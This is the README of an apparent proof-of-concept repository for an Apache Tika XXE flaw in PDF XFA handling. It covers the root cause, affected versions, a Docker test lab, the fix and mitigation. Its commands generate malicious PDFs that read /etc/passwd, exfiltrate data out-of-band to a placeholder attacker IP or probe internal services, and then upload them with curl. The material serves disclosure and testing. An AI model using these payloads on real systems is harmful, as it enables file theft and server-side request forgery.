Share
## https://sploitus.com/exploit?id=27F3F947-24B5-552D-853E-5256F931AD20
# CVE-2025-66516 / CVE-2025-54988 - Apache Tika XXE Vulnerability

Critical XML External Entity (XXE) vulnerability in Apache Tika via XFA content in PDF files.

## Vulnerability Overview

| Property | Value |
|----------|-------|
| **CVE ID** | CVE-2025-66516 (Tika), CVE-2025-54988 (Root Cause) |
| **CVSS Score** | 10.0 (Critical) |
| **Vulnerability Type** | XML External Entity (XXE) Injection |
| **Attack Vector** | Malicious XFA content embedded in PDF files |

## Root Cause Analysis

The vulnerability exists in Apache Tika's `XMLReaderUtils.java` where the `XMLResolver` returns an **incorrect type**:

```java
// VULNERABLE CODE (Tika 1.13 - 3.2.1):
private static final XMLResolver IGNORING_STAX_ENTITY_RESOLVER =
        (publicID, systemID, baseURI, namespace) -> "";  // Returns String!
```

**The Problem**: `XMLResolver.resolveEntity()` should return:
- `null` - to let the parser resolve normally
- `InputStream` - with entity content
- `InputSource` - (for SAX)

When it returns an **empty String**, some StAX parser implementations:
- โœ… **Woodstox**: Uses the String as empty entity content (secure)
- โŒ **JDK Built-in StAX**: **Silently ignores** the wrong return type and proceeds to resolve entities (VULNERABLE!)

## Affected Versions

| Component | Affected Versions | Fixed Version |
|-----------|-------------------|---------------|
| **tika-core** | 1.13 - 3.2.1 | 3.2.2+ |
| **tika-pdf-module** | 2.0.0 - 3.2.1 | 3.2.2+ |
| **tika-parsers** | 1.13 - 1.28.5 | 2.0.0+ |

**Important**: The vulnerability is only exploitable when Tika uses **JDK's built-in StAX parser** instead of Woodstox. By default, Tika bundles Woodstox which is NOT vulnerable to this specific bypass.

## Impact

When a malicious PDF containing crafted XFA data is processed by a vulnerable Tika instance:

- **Arbitrary File Disclosure** - Reading sensitive files from the server
- **Server-Side Request Forgery (SSRF)** - Making requests to internal/external systems  
- **Denial of Service (DoS)** - Resource exhaustion via entity expansion

## Docker Testing Environment

This repository includes a Docker-based environment for testing and verification.

### Prerequisites

- Docker
- Docker Compose
- Python 3.x (for PoC builder)

### Quick Start

```bash
# Start the VULNERABLE Tika server (JDK StAX)
cd docker
docker compose up -d xxe-vulnerable

# Wait for startup
sleep 15

# Verify vulnerability
cd ..
python3 builder_cve2025_66516.py --mode file --file /etc/passwd --output /tmp/test.pdf
curl -s -X PUT -T /tmp/test.pdf http://localhost:9994/tika
```

### Available Services

| Service | Port | Description |
|---------|------|-------------|
| `xxe-vulnerable` | 9994 | **VULNERABLE** Tika 3.2.1 with JDK StAX |
| `tika-woodstox` | 9997 | Tika 3.2.1 with Woodstox (NOT vulnerable) |
| `tika-patched` | 9998 | Patched Tika 3.2.2+ |
| `oob-listener` | 8080 | HTTP listener for blind XXE detection |

### Docker Commands

```bash
# Start vulnerable server
docker compose up -d xxe-vulnerable

# Start all services for comparison testing
docker compose up -d

# View logs
docker compose logs -f xxe-vulnerable

# Stop all services
docker compose down
```

## Generating PoC Payloads

```bash
# File read (direct)
python3 builder_cve2025_66516.py --mode file --file /etc/passwd --output poc_passwd.pdf

# OOB exfiltration (blind XXE)
python3 builder_cve2025_66516.py --mode oob --ip YOUR_IP --port 8080 --output poc_oob.pdf --write-dtd

# SSRF
python3 builder_cve2025_66516.py --mode ssrf --url http://internal-service:8080/api --output poc_ssrf.pdf

# Generate all payload types
python3 builder_cve2025_66516.py --mode all --output-dir pocs/
```

## Testing

```bash
# Test file read against vulnerable server
curl -X PUT -T poc_passwd.pdf http://localhost:9994/tika

# Test against patched server (should NOT work)
curl -X PUT -T poc_passwd.pdf http://localhost:9998/tika
```

## The Fix (Tika 3.2.2+)

The fix in Tika 3.2.2 removes reliance on `XMLResolver` and uses standard JAXP security properties:

```java
// FIXED CODE (Tika 3.2.2+):
factory.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, "");
tryToSetStaxProperty(factory, XMLInputFactory.SUPPORT_DTD, false);
tryToSetStaxProperty(factory, XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, false);
```

## Mitigation

### Recommended Actions

1. **Upgrade immediately** to Apache Tika 3.2.2 or later
2. **Update all modules** - ensure `tika-core` is updated (not just `tika-pdf-module`)
3. **Verify dependencies** - check your dependency tree for transitive Tika dependencies

### Maven Update

```xml

    org.apache.tika
    tika-core
    3.2.2

```

### Gradle Update

```groovy
implementation 'org.apache.tika:tika-core:3.2.2'
```

## References

- [NVD - CVE-2025-66516](https://nvd.nist.gov/vuln/detail/CVE-2025-66516)
- [NVD - CVE-2025-54988](https://nvd.nist.gov/vuln/detail/CVE-2025-54988)
- [GitHub Advisory](https://github.com/advisories/GHSA-f58c-gq56-vjjf)
- [Apache Tika Security](https://tika.apache.org/security.html)
- [Apache Tika GitHub](https://github.com/apache/tika)

## Key Finding

**Critical**: The default Tika distribution bundles Woodstox which correctly handles the XMLResolver return type. The vulnerability is only exploitable in environments where:

1. Woodstox is disabled or removed
2. JDK's built-in StAX parser is used instead
3. Or another StAX implementation that ignores wrong return types is used

This significantly reduces the real-world attack surface but doesn't eliminate the vulnerability - the fix in 3.2.2 is still essential.

## Disclaimer

This repository is for **educational and authorized security testing purposes only**. Only test against systems you own or have explicit permission to test.

## License

MIT License